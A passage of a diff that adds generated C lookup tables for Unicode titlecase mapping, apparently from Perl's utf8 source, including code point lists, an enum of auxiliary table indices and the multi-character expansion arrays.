+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18D,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19A,
+	0x19B,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BA,
+	0x1BD,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C4,
+	0x1C5,
+	0x1C6,
+	0x1C7,
+	0x1C8,
+	0x1C9,
+	0x1CA,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DD,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F0,
+	0x1F1,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x234,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x250,
+	0x251,
+	0x252,
+	0x253,
+	0x254,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25C,
+	0x25D,
+	0x260,
+	0x261,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x266,
+	0x267,
+	0x268,
+	0x269,
+	0x26A,
+	0x26B,
+	0x26C,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x272,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x288,
+	0x289,
+	0x28A,
+	0x28C,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29E,
+	0x29F,
+	0x345,
+	0x346,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37B,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3AD,
+	0x3B0,
+	0x3B1,
+	0x3C2,
+	0x3C3,
+	0x3CC,
+	0x3CD,
+	0x3CF,
+	0x3D0,
+	0x3D1,
+	0x3D2,
+	0x3D5,
+	0x3D6,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F1,
+	0x3F2,
+	0x3F3,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FC,
+	0x430,
+	0x450,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4CF,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x587,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C81,
+	0x1C82,
+	0x1C83,
+	0x1C85,
+	0x1C86,
+	0x1C87,
+	0x1C88,
+	0x1C89,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E96,
+	0x1E97,
+	0x1E98,
+	0x1E99,
+	0x1E9A,
+	0x1E9B,
+	0x1E9C,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F00,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F51,
+	0x1F52,
+	0x1F53,
+	0x1F54,
+	0x1F55,
+	0x1F56,
+	0x1F57,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F72,
+	0x1F76,
+	0x1F78,
+	0x1F7A,
+	0x1F7C,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB2,
+	0x1FB3,
+	0x1FB4,
+	0x1FB5,
+	0x1FB6,
+	0x1FB7,
+	0x1FB8,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC3,
+	0x1FC4,
+	0x1FC5,
+	0x1FC6,
+	0x1FC7,
+	0x1FC8,
+	0x1FD0,
+	0x1FD2,
+	0x1FD3,
+	0x1FD4,
+	0x1FD6,
+	0x1FD7,
+	0x1FD8,
+	0x1FE0,
+	0x1FE2,
+	0x1FE3,
+	0x1FE4,
+	0x1FE5,
+	0x1FE6,
+	0x1FE7,
+	0x1FE8,
+	0x1FF2,
+	0x1FF3,
+	0x1FF4,
+	0x1FF5,
+	0x1FF6,
+	0x1FF7,
+	0x1FF8,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C66,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C73,
+	0x2C74,
+	0x2C76,
+	0x2C77,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE4,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA730,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA794,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB01,
+	0xFB02,
+	0xFB03,
+	0xFB04,
+	0xFB05,
+	0xFB07,
+	0xFB13,
+	0xFB14,
+	0xFB15,
+	0xFB16,
+	0xFB17,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	TC_0 = 0,
+	TC_use_AUX_TABLE_1 = -1,
+	TC_use_AUX_TABLE_2 = -2,
+	TC_use_AUX_TABLE_3 = -3,
+	TC_use_AUX_TABLE_4 = -4,
+	TC_use_AUX_TABLE_5 = -5,
+	TC_use_AUX_TABLE_6 = -6,
+	TC_use_AUX_TABLE_7 = -7,
+	TC_use_AUX_TABLE_8 = -8,
+	TC_use_AUX_TABLE_9 = -9,
+	TC_use_AUX_TABLE_10 = -10,
+	TC_use_AUX_TABLE_11 = -11,
+	TC_use_AUX_TABLE_12 = -12,
+	TC_use_AUX_TABLE_13 = -13,
+	TC_use_AUX_TABLE_14 = -14,
+	TC_use_AUX_TABLE_15 = -15,
+	TC_use_AUX_TABLE_16 = -16,
+	TC_use_AUX_TABLE_17 = -17,
+	TC_use_AUX_TABLE_18 = -18,
+	TC_use_AUX_TABLE_19 = -19,
+	TC_use_AUX_TABLE_20 = -20,
+	TC_use_AUX_TABLE_21 = -21,
+	TC_use_AUX_TABLE_22 = -22,
+	TC_use_AUX_TABLE_23 = -23,
+	TC_use_AUX_TABLE_24 = -24,
+	TC_use_AUX_TABLE_25 = -25,
+	TC_use_AUX_TABLE_26 = -26,
+	TC_use_AUX_TABLE_27 = -27,
+	TC_use_AUX_TABLE_28 = -28,
+	TC_use_AUX_TABLE_29 = -29,
+	TC_use_AUX_TABLE_30 = -30,
+	TC_use_AUX_TABLE_31 = -31,
+	TC_use_AUX_TABLE_32 = -32,
+	TC_use_AUX_TABLE_33 = -33,
+	TC_use_AUX_TABLE_34 = -34,
+	TC_use_AUX_TABLE_35 = -35,
+	TC_use_AUX_TABLE_36 = -36,
+	TC_use_AUX_TABLE_37 = -37,
+	TC_use_AUX_TABLE_38 = -38,
+	TC_use_AUX_TABLE_39 = -39,
+	TC_use_AUX_TABLE_40 = -40,
+	TC_use_AUX_TABLE_41 = -41,
+	TC_use_AUX_TABLE_42 = -42,
+	TC_use_AUX_TABLE_43 = -43,
+	TC_use_AUX_TABLE_44 = -44,
+	TC_use_AUX_TABLE_45 = -45
+} TC_enum;
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+#define HAS_TC_AUX_TABLES
+
+static const unsigned int TC_AUX_TABLE_1[] = {
+	0x53,
+	0x73
+};
+
+static const unsigned int TC_AUX_TABLE_2[] = {
+	0x2BC,
+	0x4E
+};
+
+static const unsigned int TC_AUX_TABLE_3[] = {
+	0x4A,
+	0x30C
+};
+
+static const unsigned int TC_AUX_TABLE_4[] = {
+	0x399,
+	0x308,
+	0x301
+};
+
+static const unsigned int TC_AUX_TABLE_5[] = {
+	0x3A5,
+	0x308,
+	0x301
+};
+
+static const unsigned int TC_AUX_TABLE_6[] = {
+	0x535,
+	0x582
+};
+
+static const unsigned int TC_AUX_TABLE_7[] = {
+	0x48,
+	0x331
+};
+
+static const unsigned int TC_AUX_TABLE_8[] = {
+	0x54,
+	0x308
+};
+
+static const unsigned int TC_AUX_TABLE_9[] = {
+	0x57,
+	0x30A
+};
+
+static const unsigned int TC_AUX_TABLE_10[] = {
+	0x59,
+	0x30A
+};
+
+static const unsigned int TC_AUX_TABLE_11[] = {
+	0x41,
+	0x2BE
+};
+
+static const unsigned int TC_AUX_TABLE_12[] = {
+	0x3A5,
+	0x313
+};
+
+static const unsigned int TC_AUX_TABLE_13[] = {
+	0x3A5,
+	0x313,
+	0x300
+};
+
+static const unsigned int TC_AUX_TABLE_14[] = {
+	0x3A5,
+	0x313,
+	0x301
+};
+
+static const unsigned int TC_AUX_TABLE_15[] = {
+	0x3A5,
+	0x313,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_16[] = {
+	0x1FBA,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_17[] = {
+	0x386,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_18[] = {
+	0x391,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_19[] = {
+	0x391,
+	0x342,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_20[] = {
+	0x1FCA,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_21[] = {
+	0x389,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_22[] = {
+	0x397,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_23[] = {
+	0x397,
+	0x342,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_24[] = {
+	0x399,
+	0x308,
+	0x300
+};
+
+static const unsigned int TC_AUX_TABLE_25[] = {
+	0x399,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_26[] = {
+	0x399,
+	0x308,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_27[] = {
+	0x3A5,
+	0x308,
+	0x300
+};
+
+static const unsigned int TC_AUX_TABLE_28[] = {
+	0x3A1,
+	0x313
+};
+
+static const unsigned int TC_AUX_TABLE_29[] = {
+	0x3A5,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_30[] = {
+	0x3A5,
+	0x308,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_31[] = {
+	0x1FFA,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_32[] = {
+	0x38F,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_33[] = {
+	0x3A9,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_34[] = {
+	0x3A9,
+	0x342,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_35[] = {
+	0x46,
+	0x66
+};
+
+static const unsigned int TC_AUX_TABLE_36[] = {
+	0x46,
+	0x69
+};
+
+static const unsigned int TC_AUX_TABLE_37[] = {
+	0x46,
+	0x6C
+};
+
+static const unsigned int TC_AUX_TABLE_38[] = {
+	0x46,
+	0x66,
+	0x69
+};
+
+static const unsigned int TC_AUX_TABLE_39[] = {
+	0x46,
+	0x66,
+	0x6C
+};
+
+static const unsigned int TC_AUX_TABLE_40[] = {
+	0x53,
+	0x74
+};
+
+static const unsigned int TC_AUX_TABLE_41[] = {
+	0x544,
+	0x576
+};
+
+static const unsigned int TC_AUX_TABLE_42[] = {
+	0x544,
+	0x565
+};
+
+static const unsigned int TC_AUX_TABLE_43[] = {
+	0x544,
+	0x56B
+};
+
+static const unsigned int TC_AUX_TABLE_44[] = {
+	0x54E,
+	0x576
+};
+
+static const unsigned int TC_AUX_TABLE_45[] = {
+	0x544,
+	0x56D
+};
+
+static const unsigned int * const TC_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	TC_AUX_TABLE_1,
+	TC_AUX_TABLE_2,
+	TC_AUX_TABLE_3,
+	TC_AUX_TABLE_4,
+	TC_AUX_TABLE_5,
+	TC_AUX_TABLE_6,
+	TC_AUX_TABLE_7,
+	TC_AUX_TABLE_8,
+	TC_AUX_TABLE_9,
+	TC_AUX_TABLE_10,
+	TC_AUX_TABLE_11,
+	TC_AUX_TABLE_12,
+	TC_AUX_TABLE_13,
+	TC_AUX_TABLE_14,
+	TC_AUX_TABLE_15,
+	TC_AUX_TABLE_16,
+	TC_AUX_TABLE_17,
+	TC_AUX_TABLE_18,
+	TC_AUX_TABLE_19,
+	TC_AUX_TABLE_20,
+	TC_AUX_TABLE_21,
+	TC_AUX_TABLE_22,
+	TC_AUX_TABLE_23,
+	TC_AUX_TABLE_24,
+	TC_AUX_TABLE_25,
+	TC_AUX_TABLE_26,
+	TC_AUX_TABLE_27,
+	TC_AUX_TABLE_28,
+	TC_AUX_TABLE_29,
+	TC_AUX_TABLE_30,
+	TC_AUX_TABLE_31,
+	TC_AUX_TABLE_32,
+	TC_AUX_TABLE_33,
+	TC_AUX_TABLE_34,
+	TC_AUX_TABLE_35,
+	TC_AUX_TABLE_36,
+	TC_AUX_TABLE_37,
+	TC_AUX_TABLE_38,
+	TC_AUX_TABLE_39,
+	TC_AUX_TABLE_40,
+	TC_AUX_TABLE_41,
+	TC_AUX_TABLE_42,
+	TC_AUX_TABLE_43,
+	TC_AUX_TABLE_44,
+	TC_AUX_TABLE_45
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 TC_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
